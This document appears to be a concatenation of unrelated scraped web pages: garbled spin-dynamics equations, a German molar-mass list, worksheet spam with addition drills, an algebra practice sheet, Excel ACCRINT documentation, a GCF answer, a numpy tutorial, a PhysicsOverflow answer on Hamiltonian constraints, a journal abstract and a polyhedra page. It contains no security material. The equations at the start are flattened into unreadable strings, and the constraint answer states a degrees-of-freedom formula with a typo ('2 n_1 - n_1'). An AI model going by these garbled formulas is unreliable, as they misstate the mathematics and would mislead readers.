,$\n$s 03 = 0 .$\n$s 01 = 0 , tan ( Ω z ) = s 02 s 03 ,$\n$tan ( Ω z ) = − s 03 s 02 .$\n$∂ s ∂ z = ( s × ∑ ) × s .$\n$s = 2 ( 1 + A 0 ) e ∑ z + ( 1 − A 0 ) e − ∑ z s 0 + ( 1 + A 0 ) e ∑ z − 2 A 0 − ( 1 − A 0 ) e − ∑ z ( 1 + A 0 ) e ∑ z + ( 1 − A 0 ) e − ∑ z σ ,$\n$s 01 = 0 , s 02 = 0 .$\n$( 1 + A 0 ) e ∑ z − ( 1 − A 0 ) e − ∑ z ( 1 + A 0 ) e ∑ z + ( 1 − A 0 ) e − ∑ z = 0 ,$\n$tan h ( ∑ z ) = − s 03 σ 3 .$\n$s 03 = 0 .$\n$( 1 + A 0 ) e ∑ z − ( 1 − A 0 ) e − ∑ z ( 1 + A 0 ) e ∑ z + ( 1 − A 0 ) e − ∑ z = 0 , s 02 = 0 ,$\n$tanh ( ∑ z ) = − s 01 , s 02 = 0 .$\n$s 01 = 1 − f 2 ( ρ ) cos [ m ( φ − δ ) ] ,$\n$s 02 = 1 − f 2 ( ρ ) sin [ m ( φ − δ ) ] ,$\n$s 03 = f ( ρ ) .$\n$f = χ 1 + ( ρ ρ * ) 2 ,$\n$1 − f ( ρ ) 2 cos [ m ( φ − δ ) ] = 0 , tan ( Ω z ) = 1 − f 2 ( ρ ) sin [ m ( φ − δ ) ] f ( ρ ) ,$\n$tan ( Ω z ) = − f ( ρ ) 1 − f 2 ( ρ ) sin [ m ( φ − δ ) ] .$\n$φ n = δ + π ( 2 n + 1 ) 2 m , tan ( Ω z ) = ± 1 − f 2 ( ρ ) f ( ρ ) = ± χ ρ ρ * .$\n$Γ = ∑ a m ( a ) χ ( a ) = const .$\n$tanh ( ∑ z ) = − f ( ρ ) σ 3 .$\n$tanh ( ∑ z ) = − 1 − f 2 ( ρ ) cos [ m ( φ − δ ) ] , 1 − f 2 ( ρ ) sin [ m ( φ − δ ) ] = 0 .$\n$φ n = δ + π n m , tanh ( ∑ z ) = ∓ 1 − f 2 ( ρ ) ,$\n$s = A σ − ( B × σ ) .$\n$∂ A ∂ z = ∑ ( 1 − A 2 ) ,$\n$∂ B ∂ z = − ∑ A B .$\n$A = ( 1 + A 0 ) e ∑ z − ( 1 − A 0 ) e − ∑ z ( 1 + A 0 ) e ∑ z + ( 1 − A 0 ) e − ∑ z ,$\n$B = 2 ( 1 + A 0 ) e ∑ z + ( 1 − A 0 ) e − ∑ z B 0 ,$"
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https://de.webqc.org/molecularweightcalculated-190210-131.html | [
"",
null,
"#### Chemical Equations Balanced on 02/10/19\n\n Molecular weights calculated on 02/09/19 Molecular weights calculated on 02/11/19\nCalculate molecular weight\n 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206\nMolar mass of H2O is 18.01528\nMolar mass of Na3P is 99.94306984\nMolar mass of Al is 26.9815386\nMolar mass of Sr3(PO4)2 is 452.802724\nMolar mass of NH is 15.01464\nMolar mass of C12H22O11 is 342.29648\nMolar mass of NH4NO3 is 80.04336\nMolar mass of CaCl2 is 110.984\nMolar mass of CaCl2 is 110.984\nMolar mass of Ca(OH)2 is 74.09268\nMolar mass of N0 is 14.0067\nMolar mass of Ne is 20.1797\nMolar mass of NH2 is 16.02258\nMolar mass of acetic acid is 60.05196\nMolar mass of Ti is 47.867\nMolar mass of MgO is 40.3044\nMolar mass of C2H6 is 30,06904\nMolar mass of acetone is 58.07914\nMolar mass of MgO is 40.3044\nMolar mass of water is 18.01528\nMolar mass of Fe2O3 is 159.6882\nMolar mass of Mo(CO)4 is 208.0004\nMolar mass of CuBr is 143.45\nMolar mass of Al(C9H6ON)3 is 459,4316586\nMolar mass of acetic acid is 60.05196\nMolar mass of CSCl2 is 114.9817\nMolar mass of NH3 is 17,03052\nMolar mass of SrCrO4 is 203.6137\nMolar mass of CaSO4 is 136.1406\nMolar mass of K2CrO4 is 194,1903\nMolar mass of Br2 is 159.808\nMolar mass of NHC(NH2)2 is 59.0705\nMolar mass of C10H22 is 142.28168\nMolar mass of Ca3(PO4)2 is 310.176724\nMolar mass of COF2 is 66.0069064\nMolar mass of Ca5(PO4)3OH is 502.311426\nMolar mass of SiBr2I2 is 441.70244\nMolar mass of PbCO3 is 267.2089\nMolar mass of Pt is 195.084\nMolar mass of Ta(IO)5 is 895,46723\nMolar mass of Ni(CO)4 is 170.7338\nMolar mass of Ca3P2 is 182.181524\nMolar mass of K2CrO4 is 194,1903\nMolar mass of CO2F is 63.0079032\nMolar mass of CO2F2 is 82.0063064\nMolar mass of CaSO4 is 136.1406\nMolar mass of Ca(NO3)2 is 164.0878\nMolar mass of COF2 is 66.0069064\nMolar mass of C4H4S is 84.13956\nMolar mass of C2OF2 is 78.0176064\n 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206\nCalculate molecular weight\n Molecular weights calculated on 02/09/19 Molecular weights calculated on 02/11/19\nMolecular masses on 02/03/19\nMolecular masses on 01/11/19\nMolecular masses on 02/10/18\nMit der Benutzung dieser Webseite akzeptieren Sie unsere Allgemeinen Geschäftsbedingungen und Datenschutzrichtlinien.\n© 2019 webqc.org Alle Rechte vorbehalten.\n Periodensystem der Elemente Einheiten-Umrechner Chemie Werkzeuge Chemie-Forum Chemie FAQ Konstanten Symmetrie Suchen Chemie Links Link zu uns Kontaktieren Sie uns Eine bessere Übersetzung vorschlagen? Wählen Sie eine SpracheDeutschEnglishEspañolFrançaisItalianoNederlandsPolskiPortuguêsРусский中文日本語한국어 Wie zitieren? WebQC.Org Online-Schulung kostenlose Hausaufgabenhilfe Chemie Probleme Fragen und Antworten"
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http://lbartman.com/6th-grade-rock-cycle-worksheets/ | [
"# 6th Grade Rock Cycle Worksheets\n\n👤 will chen 🗓 April 11, 2021, 7:20 am ( Last Modified )\n\nIntroduce your young scientist to the wonders of the water cycle with these engaging worksheets full of useful diagrams and enlightening texts. Kids will enjoy discovering how water moves through the earth’s water cycle, changing from one state to another as they learn all about this important and fascinating ecological process..Take a tour of our section on Grade 6 science worksheets and join us to become a junior Einstein – it’s FREE! Give your child the added advantage of tutoring with eTutorWorld. Select sixth grade science worksheets from the list below for FREE download of 6th grade science worksheets with answer key . New worksheets added regularly..Spark your students' curiosity with our second grade science worksheets and printables! From explorations of plant and animal life cycles all the way to weather patterns, layers of the Earth, and the planets of our solar system, these second grade science worksheets use fascinating facts and engaging illustrations to bring science to life for your students..Sixth Grade (Grade 6) Science Worksheets, Tests, and Activities. Print our Sixth Grade (Grade 6) Science worksheets and activities, or administer them as online tests. Our worksheets use a variety of high-quality images and some are aligned to Common Core Standards. Worksheets labeled with are accessible to Help Teaching Pro subscribers only..\n\nLandform Worksheets. Learn about plains, plateaus, mountains, hills, islands, peninsulas, islands, and all types of landforms. Space Printables. Worksheets for teaching kids about our solar system, planets, the moon and outer space..Charlie is the toughest girl in the fifth grade, but when she's dared to look into the \"Wailing Well\" and find out if a kid-hungry troll really lives there, she's afraid she'll lose her reputation. Charlie must find the courage to prove that some scary stories are just that--stories..© 2021 Houghton Mifflin Harcourt. All rights reserved. Terms of Purchase Privacy Policy Site Map Trademark Credits Permissions Request Privacy Policy Site Map ..\n\nWe would like to show you a description here but the site won’t allow us..Grade/level: Grade 6th, 7th, 8th Age: 10-13 Main content . More Science interactive worksheets. Parts of the plant by MissMaggieCandlish: Parts of a Plant . by saramalik: Plants by Miss_Dianita: Matter Sort by asherman5: Food chain classwork by iduque: The water cycle by 2JESUSARAMBURU: Food chain by learnwithalessia: Plants and their parts ..Stars & Planets Worksheets Eyewitness Workbook Stars & Planets is an activity-packed exploration of the world of space and astronomy. Below you will find fast facts, activities and quizzes...\n\nRelated to \"6th Grade Rock Cycle Worksheets\" ⤵\n\nName : __________________\n\nSeat Num. : __________________\n\nDate : __________________\n\n5360 + 22 = ...\n\n3695 + 13 = ...\n\n6066 + 53 = ...\n\n7727 + 25 = ...\n\n6674 + 12 = ...\n\n4927 + 80 = ...\n\n2454 + 55 = ...\n\n5305 + 66 = ...\n\n6318 + 84 = ...\n\n2549 + 32 = ...\n\n2533 + 42 = ...\n\n2962 + 97 = ...\n\n9071 + 56 = ...\n\n1603 + 31 = ...\n\n4819 + 99 = ...\n\n9390 + 66 = ...\n\n4062 + 84 = ...\n\n9568 + 75 = ...\n\n9855 + 29 = ...\n\n3894 + 88 = ...\n\n4340 + 49 = ...\n\n7159 + 29 = ...\n\n8809 + 92 = ...\n\n9098 + 15 = ...\n\n3553 + 18 = ...\n\n7675 + 59 = ...\n\n5937 + 71 = ...\n\n2992 + 44 = ...\n\n5042 + 26 = ...\n\n7171 + 13 = ...\n\n3925 + 82 = ...\n\n6257 + 31 = ...\n\n7947 + 29 = ...\n\n1609 + 60 = ...\n\n8134 + 87 = ...\n\n4350 + 58 = ...\n\n7884 + 55 = ...\n\n1323 + 40 = ...\n\n9680 + 45 = ...\n\n1534 + 66 = ...\n\n5294 + 70 = ...\n\n6624 + 60 = ...\n\n8634 + 65 = ...\n\n4232 + 90 = ...\n\n4412 + 71 = ...\n\n6258 + 35 = ...\n\n7698 + 19 = ...\n\n8205 + 39 = ...\n\n5314 + 32 = ...\n\n6523 + 30 = ...\n\n6041 + 68 = ...\n\n8457 + 87 = ...\n\n6184 + 57 = ...\n\n9393 + 56 = ...\n\n6697 + 24 = ...\n\n3034 + 48 = ...\n\n1202 + 17 = ...\n\n2190 + 11 = ...\n\n7951 + 40 = ...\n\n6773 + 93 = ...\n\n7370 + 92 = ...\n\n7548 + 37 = ...\n\n9375 + 67 = ...\n\n5550 + 38 = ...\n\n8208 + 88 = ...\n\n5067 + 74 = ...\n\n9404 + 37 = ...\n\n1735 + 82 = ...\n\n4099 + 52 = ...\n\n2207 + 99 = ...\n\n3731 + 93 = ...\n\n3632 + 14 = ...\n\n2519 + 85 = ...\n\n4423 + 42 = ...\n\n9373 + 15 = ...\n\n4872 + 22 = ...\n\n1834 + 30 = ...\n\n6153 + 88 = ...\n\n9202 + 25 = ...\n\n4151 + 57 = ...\n\n7165 + 92 = ...\n\n5369 + 22 = ...\n\n6673 + 82 = ...\n\n6220 + 83 = ...\n\n6432 + 44 = ...\n\n5051 + 66 = ...\n\n1215 + 94 = ...\n\n6793 + 68 = ...\n\n5551 + 10 = ...\n\n7142 + 26 = ...\n\n1574 + 31 = ...\n\n8036 + 84 = ...\n\n7379 + 97 = ...\n\n5680 + 84 = ...\n\n7786 + 96 = ...\n\n1975 + 96 = ...\n\n5843 + 12 = ...\n\n5948 + 23 = ...\n\n6561 + 86 = ...\n\n2240 + 30 = ...\n\n7204 + 69 = ...\n\n7617 + 28 = ...\n\n3846 + 80 = ...\n\n5468 + 35 = ...\n\n3470 + 56 = ...\n\n7121 + 19 = ...\n\n9925 + 77 = ...\n\n5358 + 21 = ...\n\n4407 + 69 = ...\n\n8142 + 34 = ...\n\n8499 + 28 = ...\n\n5382 + 35 = ...\n\n6012 + 10 = ...\n\n9346 + 20 = ...\n\n3336 + 93 = ...\n\n7960 + 97 = ...\n\n8825 + 32 = ...\n\n5736 + 85 = ...\n\n1324 + 17 = ...\n\n3161 + 27 = ...\n\n8416 + 58 = ...\n\n5442 + 68 = ...\n\n8347 + 37 = ...\n\n9994 + 78 = ...\n\n1421 + 78 = ...\n\n7061 + 30 = ...\n\n6636 + 53 = ...\n\n5512 + 82 = ...\n\n2747 + 72 = ...\n\n6247 + 63 = ...\n\n1001 + 72 = ...\n\n3759 + 85 = ...\n\n5763 + 22 = ...\n\n9406 + 18 = ...\n\n5789 + 24 = ...\n\n5612 + 58 = ...\n\n6299 + 67 = ...\n\n3011 + 15 = ...\n\n8653 + 59 = ...\n\n4188 + 71 = ...\n\n2740 + 37 = ...\n\n6632 + 97 = ...\n\n9217 + 71 = ...\n\n6965 + 44 = ...\n\n1962 + 30 = ...\n\n9731 + 98 = ...\n\n9009 + 65 = ...\n\n7821 + 51 = ...\n\n2431 + 72 = ...\n\n7475 + 19 = ...\n\n6200 + 40 = ...\n\n2626 + 98 = ...\n\n6724 + 84 = ...\n\n3107 + 14 = ...\n\n9891 + 46 = ...\n\n6355 + 83 = ...\n\n3134 + 60 = ...\n\n6160 + 35 = ...\n\n9169 + 28 = ...\n\n7396 + 31 = ...\n\n6819 + 77 = ...\n\n4018 + 83 = ...\n\n6364 + 55 = ...\n\n4675 + 34 = ...\n\n7107 + 37 = ...\n\n9937 + 32 = ...\n\n3822 + 65 = ...\n\n3123 + 88 = ...\n\n3876 + 82 = ...\n\n5696 + 52 = ...\n\n7333 + 66 = ...\n\n6134 + 87 = ...\n\n8704 + 63 = ...\n\n6970 + 31 = ...\n\n9638 + 36 = ...\n\n5703 + 28 = ...\n\n2952 + 51 = ...\n\n8596 + 59 = ...\n\n4690 + 75 = ...\n\n5990 + 65 = ...\n\n5646 + 97 = ...\n\n2254 + 82 = ...\n\n5601 + 30 = ...\n\n9311 + 13 = ...\n\n5231 + 38 = ...\n\n8540 + 23 = ...\n\n1037 + 87 = ...\n\n2915 + 63 = ...\n\n2538 + 85 = ...\n\n6024 + 71 = ...\n\n7374 + 87 = ...\n\n2733 + 83 = ...\n\n5146 + 40 = ...\n\n1799 + 61 = ...\n\n7505 + 81 = ...\n\n3291 + 25 = ...\n\n8816 + 92 = ...\n\n6023 + 75 = ...\n\n8737 + 59 = ...\n\n5294 + 46 = ...\n\nshow printable version !!!hide the show",
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https://transtutor.net/sys/question/question/11147495124_view.html | [
"Solution 03 kg of air undergoes the cycle shown in Fig 1 a piston cylinder arrangement calculate the work output they got 4\nSolution kg of air undergoes the cycle shown in Fig a piston cylinder arrangement calculate\nSolution kg of air undergoes the cycle shown in Fig a\nair undergoes the cycle shown in Fig a piston cylinder arrangement calculate the work output they got\nSolution kg of air undergoes the cycle shown in\nFig a piston cylinder arrangement calculate the work output they got\nSolution kg of air undergoes the cycle\nSolution kg of\n(Solution) 03 kg of air undergoes the cycle shown in Fig. 1, a piston-cylinder arrangement, calculate the work output. they got 4.\n\n Category: General Words: 1050 Amount: \\$12 Writer:\n\nPaper instructions\n\nIf 0.03 kg of air undergoes the cycle shown in Fig. 1, a piston-cylinder arrangement, calculate the work output. they got 4.01kJ but I dont see how"
]
| [
null
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https://studyres.com/doc/1165942/0005_hsm11a1_te_01tr.indd | [
"Survey\n\n* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project\n\nDocument related concepts\n\nHistory of algebra wikipedia, lookup\n\nFundamental theorem of algebra wikipedia, lookup\n\nNumber wikipedia, lookup\n\nReal number wikipedia, lookup\n\nTranscript\n```Name\nClass\n1-3\nDate\nPractice\nForm K\nReal Numbers and the Number Line\nSimplify each expression.\n1.\n144\n2.\n25\n3.\n169\n4.\n49\n5.\n256\n6.\n400\n7.\n9\n49\n8.\n196\n144\n9.\n0.01\n10.\n0.49\nEstimate the square root. Round to the nearest integer.\n11.\n38\n12.\n65\n13.\n99\n14.\n145.5\n15.\n23.75\n16.\n64.36\nFind the approximate side length of each square figure to the nearest whole\nunit.\n17. a tabletop with an area 25 ft2\n18. a wall that is 105 m2\nPrentice Hall Foundations Algebra 1 • Teaching Resources\n25\nName\n1-3\nClass\nDate\nPractice (continued)\nForm K\nReal Numbers and the Number Line\nName the subset(s) of the real numbers to which each number belongs.\n19.\n3\n4\n22. 45,368\n20. –8\n21. 2π\n23.\n24.\n11\n-\n2\n3\nCompare the numbers in each exercise using an inequality symbol.\n25. 36, 49\n26.\n1\n, 1.25\n3\n27. 100, - 169\n28.\n34\n,1.8\n19\nOrder the numbers in each exercise from least to greatest.\n1\n30. 1.25, , 1.25\n3\n29. 2.75, 25, - 36\n31.\n3\n, -0.6, 1\n5\n32. 80 , 9, 30\n25\n9\n33. Kate, Kevin, and Levi are comparing how fast they can run. Kate was able to\nrun 5 miles in 47.5 minutes. Kevin was able to run 8 miles in 74 minutes. Levi\nwas able to run 4 miles in 32 minutes. Order the friends from the fastest to the\nslowest.\nPrentice Hall Foundations Algebra 1 • Teaching Resources"
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https://support.microsoft.com/en-us/office/accrint-function-fe45d089-6722-4fb3-9379-e1f911d8dc74?ocmsassetid=ha102753127&ctt=5&origin=ha102752955&correlationid=668adffd-149f-4f2d-a6bc-5a07a69d9bc8&ui=en-us&rs=en-us&ad=us | [
"# ACCRINT function\n\nThis article describes the formula syntax and usage of the ACCRINT function in Microsoft Excel.\n\n## Description\n\nReturns the accrued interest for a security that pays periodic interest.\n\n## Syntax\n\nACCRINT(issue, first_interest, settlement, rate, par, frequency, [basis], [calc_method])\n\nImportant: Dates should be entered by using the DATE function, or as results of other formulas or functions. For example, use DATE(2008,5,23) for the 23rd day of May, 2008. Problems can occur if dates are entered as text.\n\nThe ACCRINT function syntax has the following arguments:\n\n• Issue Required. The security's issue date.\n\n• First_interest Required. The security's first interest date.\n\n• Settlement Required. The security's settlement date. The security settlement date is the date after the issue date when the security is traded to the buyer.\n\n• Rate Required. The security's annual coupon rate.\n\n• Par Required. The security's par value. If you omit par, ACCRINT uses \\$1,000.\n\n• Frequency Required. The number of coupon payments per year. For annual payments, frequency = 1; for semiannual, frequency = 2; for quarterly, frequency = 4.\n\n• Basis Optional. The type of day count basis to use.\n\nBasis\n\nDay count basis\n\n0 or omitted\n\nUS (NASD) 30/360\n\n1\n\nActual/actual\n\n2\n\nActual/360\n\n3\n\nActual/365\n\n4\n\nEuropean 30/360\n\n• Calc_method Optional. A logical value that specifies the way to calculate the total accrued interest when the date of settlement is later than the date of first_interest. A value of TRUE (1) returns the total accrued interest from issue to settlement. A value of FALSE (0) returns the accrued interest from first_interest to settlement. If you do not enter the argument, it defaults to TRUE.\n\n## Remarks\n\n• Microsoft Excel stores dates as sequential serial numbers so they can be used in calculations. By default, January 1, 1900 is serial number 1, and January 1, 2008 is serial number 39448 because it is 39,448 days after January 1, 1900.\n\n• Issue, first_interest, settlement, frequency, and basis are truncated to integers.\n\n• If issue, first_interest, or settlement is not a valid date, ACCRINT returns the #VALUE! error value.\n\n• If rate ≤ 0 or if par ≤ 0, ACCRINT returns the #NUM! error value.\n\n• If frequency is any number other than 1, 2, or 4, ACCRINT returns the #NUM! error value.\n\n• If basis < 0 or if basis > 4, ACCRINT returns the #NUM! error value.\n\n• If issue ≥ settlement, ACCRINT returns the #NUM! error value.\n\n• ACCRINT is calculated as follows:",
null,
"where:\n\n• Ai = number of accrued days for the ith quasi-coupon period within odd period.\n\n• NC = number of quasi-coupon periods that fit in odd period. If this number contains a fraction, raise it to the next whole number.\n\n• NLi = normal length in days of the quasi-coupon period within odd period.\n\n## Example\n\nCopy the example data in the following table, and paste it in cell A1 of a new Excel worksheet. For formulas to show results, select them, press F2, and then press Enter. If you need to, you can adjust the column widths to see all the data.\n\n Data Description 39508 Issue date 39691 First interest date 39569 Settlement date 0.1 Coupon rate 1000 Par value 2 Frequency is semiannual (see above) 0 30/360 basis (see above) Formula Description Result =ACCRINT(A2,A3,A4,A5,A6,A7,A8) Accrued interest for a treasury bond with the terms above. 16.666667 =ACCRINT(DATE(2008,3,5),A3,A4,A5,A6,A7,A8,FALSE) Accrued interest with the terms above, except the issue date is March 5, 2008. 15.555556 =ACCRINT(DATE(2008, 4, 5), A3, A4, A5, A6, A7, A8, TRUE) Accrued interest with the terms above, except the issue date is April 5, 2008, and the accrued interest is calculated from the first_interest to settlement. 7.2222222\n\n### Need more help?",
null,
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https://socratic.org/questions/what-is-the-gcf-of-18a-20ab-and-6ab | [
"# What is the GCF of 18a, 20ab and 6ab?\n\nJun 28, 2018\n\n$2 a$\n\n#### Explanation:\n\nGiven the set: $18 a , 20 a b , 6 a b$.\n\nFirst find the greatest common factor of $18 , 20 , 6$.\n\n$18 = 2 \\cdot {3}^{2}$\n\n$20 = {2}^{2} \\cdot 5$\n\n$6 = 2 \\cdot 3$\n\n$\\therefore \\setminus \\text{GCF} = 2$\n\nThen, find the $\\text{GCF}$ of $a , a b , a b$.\n\n$a = a$\n\n$a b = a \\cdot b$\n\n$\\therefore \\setminus \\text{GCF} = a$\n\nNow, multiply the two $\\text{GCF}$s of the two sets together.\n\n$2 \\cdot a = 2 a$\n\nThat is the greatest common factor of the whole sequence.\n\nJun 28, 2018\n\nG C F is $\\textcolor{g r e e n}{2 a}$\n\n#### Explanation:\n\nG C F is the greatest common factor which finds place in all the terms.\n\n$18 a , 20 a b , 6 a b$\n\n$\\implies 9 \\cdot \\textcolor{g r e e n}{2 a} , 10 b \\cdot \\textcolor{g r e e n}{2 a} , 3 b \\cdot \\textcolor{g r e e n}{2 a}$\n\n$2 a$ is common in all the three terms.\n\nHence the G C F is $\\textcolor{g r e e n}{2 a}$"
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https://www.geeksforgeeks.org/python-numpy-matrix-tolist/ | [
"Related Articles\nPython | Numpy matrix.tolist()\n• Last Updated : 29 May, 2019\n\nWith the help of `Numpy matrix.tolist()` method, we are able to convert the matrix into a list by using the `matrix.tolist()` method.\n\nSyntax: `matrix.tolist()`\nReturn : Return a new list\n\nExample #1 :\nIn this example we can see that by passing the matrix we are able to convert it into list by using the `matrix.tolist()` method.\n\n `# import the important module in python``import` `numpy as np`` ` `# make matrix with numpy``gfg ``=` `np.matrix(``'[4, 1, 12, 3]'``)`` ` `# applying matrix.tolist() method``geek ``=` `gfg.tolist()`` ` `print``(geek)`\nOutput:\n```[[4, 1, 12, 3]]\n```\n\nExample #2 :\n\n `# import the important module in python``import` `numpy as np`` ` `# make matrix with numpy``gfg ``=` `np.matrix(``'[4, 1, 9; 12, 3, 1; 4, 5, 6]'``)`` ` `# applying matrix.tolist() method``geek ``=` `gfg.tolist()`` ` `print``(geek)`\nOutput:\n```[[4, 1, 9], [12, 3, 1], [4, 5, 6]]\n```\n\nAttention geek! Strengthen your foundations with the Python Programming Foundation Course and learn the basics.\n\nTo begin with, your interview preparations Enhance your Data Structures concepts with the Python DS Course.\n\nMy Personal Notes arrow_drop_up"
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https://www.physicsoverflow.org/36738/classification-of-constraints-in-hamiltonian-formalism | [
"#",
null,
"Classification of constraints in Hamiltonian formalism\n\n+ 3 like - 0 dislike\n335 views\n\nI am reading this paper, where the claim is from hamiltonian formalism one can show that non-local theories of gravity are ghost-free. Before going to complication, I would like to see a clear definition (and mathematical formula of how to obtain the-) of primary constraint, secondary constraint, first class constraint and second class constraint. It would be appreciated to even point a toy example.\n\nMoreover, I wonder how one uses these constraint(s) to count the number of degrees of freedom?\n\nAlso I wonder if one can uses such formalism and show that the given gravitational theory is bounded from below?\n\nrecategorized Jul 22, 2016\n\n+ 4 like - 0 dislike\n\nIn Hamiltonian formalism, the phase space is a symplectic manifold i.e. a manifold $M$ equipped with a 2-form $\\omega$ which is non-degenerate and closed. In a constrained system, the dynamical variables are constrained to lie on a submanifold $N$ of $M$. If the restriction of $\\omega$ to $N$ is 0, then $N$ is called a coisotropic submanifold and the constraint is called first class. If the restriction of $\\omega$ to $N$ is non-degenerate, then $N$ is called a symplectic submanifold and the constraint is called second class. A general $N$ can always be locall written as a product $N_1 \\times N_2$ with $N_1$ coisotropic (first class) and $N_2$ symplectic (second class).\n\nSame thing in a slightly different language: the symplectic structure defines a Poisson bracket $\\{,\\}$ on the algebra of functions on $M$. The constraints are the equations $f_i=0$ defining $N$. The constraints are called first class if $\\{f_i,f_j\\}=0$ up to the constraints, for all $i$, $j$. The constraints are called second class if the matrix $\\{f_i,f_j\\}$ is non-degenerate. In general, up to a change of variables, one can write the matrix of Poisson brackets $\\{f_i,f_j\\}$ in a block diagonal form: the first block being zero and the second block being non-degenerate. Constraints corresponding to the first block are called first class, the ones corresponding to the second are called second class.\n\nThe distinction between primary and secondary constraints appears in the context of the Hamiltonian description of a system given in Lagrangian form. Primary constraints are the constraints which are there if the momenta are not independent (if the matrix of second derivatives of the Lagrangian with respect to the velocities is not invertible). Secondary constraints are extra constraints which are imposed by consistency of the primary constraints with the equations of motion.\n\nIf by number of degrees of freedom, one means the dimension of the symplectic manifold where the Hamiltonian dynamics is well-defined without constraints, it is $dim M - 2 n_1-n_1$ where $n_1$ is the number of first class constraints and $n_2$ is the number of second class constraints. Indeed, for a second class constraint, one simply has to restrict ourselves to the constrained submanifold but for a first class constraint, one has to quotient this submanifold by redundancies of the description (\"gauge transformations\"), which are as numerous as the first class constraints (coisotropic reduction).\n\nThe original reference on first/second class constraints is Dirac:\n\n Please use answers only to (at least partly) answer questions. To comment, discuss, or ask for clarification, leave a comment instead. To mask links under text, please type your text, highlight it, and click the \"link\" button. You can then enter your link URL. Please consult the FAQ for as to how to format your post. This is the answer box; if you want to write a comment instead, please use the 'add comment' button. Live preview (may slow down editor) Preview Your name to display (optional): Email me at this address if my answer is selected or commented on: Privacy: Your email address will only be used for sending these notifications. Anti-spam verification: If you are a human please identify the position of the character covered by the symbol $\\varnothing$ in the following word:p$\\hbar$ysicsOve$\\varnothing$flowThen drag the red bullet below over the corresponding character of our banner. When you drop it there, the bullet changes to green (on slow internet connections after a few seconds). To avoid this verification in future, please log in or register."
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http://www.global-sci.org/intro/article_detail/aamm/176.html | [
"Volume 3, Issue 4\nSuperconvergence of Parabolic Optimal Control Problems\n\nAdv. Appl. Math. Mech., 3 (2011), pp. 401-419.\n\nPublished online: 2011-03\n\nPreview Full PDF 62 1067\nExport citation\n\nCited by\n\n• Abstract\n\nIn this paper, we investigate the superconvergence results for optimal control problems governed by parabolic equations with semidiscrete mixed finite element approximation. We use the lowest order mixed finite element spaces to discrete the state and costate variables while use piecewise constant function to discrete the control variable. Superconvergence estimates for both the state variable and its gradient variable are obtained.\n\n• Keywords\n\nOptimal control mixed finite element superconvergence parabolic equations\n\n65L10 65L12\n\n• BibTex\n• RIS\n• TXT\n@Article{AAMM-3-401, author = {Xiaoqing Xing and Yanping Chen}, title = {Superconvergence of Parabolic Optimal Control Problems}, journal = {Advances in Applied Mathematics and Mechanics}, year = {2011}, volume = {3}, number = {4}, pages = {401--419}, abstract = {\n\nIn this paper, we investigate the superconvergence results for optimal control problems governed by parabolic equations with semidiscrete mixed finite element approximation. We use the lowest order mixed finite element spaces to discrete the state and costate variables while use piecewise constant function to discrete the control variable. Superconvergence estimates for both the state variable and its gradient variable are obtained.\n\n}, issn = {2075-1354}, doi = {https://doi.org/10.4208/aamm.10-m1006}, url = {http://global-sci.org/intro/article_detail/aamm/176.html} }\nTY - JOUR T1 - Superconvergence of Parabolic Optimal Control Problems AU - Xiaoqing Xing & Yanping Chen JO - Advances in Applied Mathematics and Mechanics VL - 4 SP - 401 EP - 419 PY - 2011 DA - 2011/03 SN - 3 DO - http://dor.org/10.4208/aamm.10-m1006 UR - https://global-sci.org/intro/article_detail/aamm/176.html KW - Optimal control KW - mixed finite element KW - superconvergence KW - parabolic equations AB -\n\nIn this paper, we investigate the superconvergence results for optimal control problems governed by parabolic equations with semidiscrete mixed finite element approximation. We use the lowest order mixed finite element spaces to discrete the state and costate variables while use piecewise constant function to discrete the control variable. Superconvergence estimates for both the state variable and its gradient variable are obtained.\n\nXiaoqing Xing & Yanping Chen. (1970). Superconvergence of Parabolic Optimal Control Problems. Advances in Applied Mathematics and Mechanics. 3 (4). 401-419. doi:10.4208/aamm.10-m1006\nCopy to clipboard\nThe citation has been copied to your clipboard"
]
| [
null
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https://www.kjmaclean.com/Geometry/IcosaDodeca.html | [
"The Icosa–Docedahedron",
null,
"Figure 1 The Icosadodecahedron\nThis polyhedron is the dual of the rhombic triacontahedron.\nIt has 30 vertices, 32 faces, and 60 edges.\n20 of the faces are equilateral triangles. 12 of the faces are pentagons.\nIt is probably called the icosa-dodecahedron because in the middle of every pentagonal face is the vertex of an icosahedron, and in the middle of every triangular face is the vertex of a dodecahedron.\nThis polyhedron is composed of 6 'great circle' decagons which traverse the outside of the polyhedron, sharing the 30 vertices and accounting for the 60 edges (see Figure 2).\nActually, the rhombic triacontahedron should be called the icosa dodecahedron, because one icosahedron and one dodecahedron precisely describe its 32 vertices.",
null,
"Figure 2 -- showing the icosadodecahedron as composed of 6 interlocking decagons\n\nThe icosadodecahedron (hereinafter referred to as i.d.) has internal planes within it, as we have seen in other polyhedra. The i.d. has 12 internal pentagons, 2 of which are highlighted, one for each pentagonal face. And of course, the 6 'great circle' decagons:",
null,
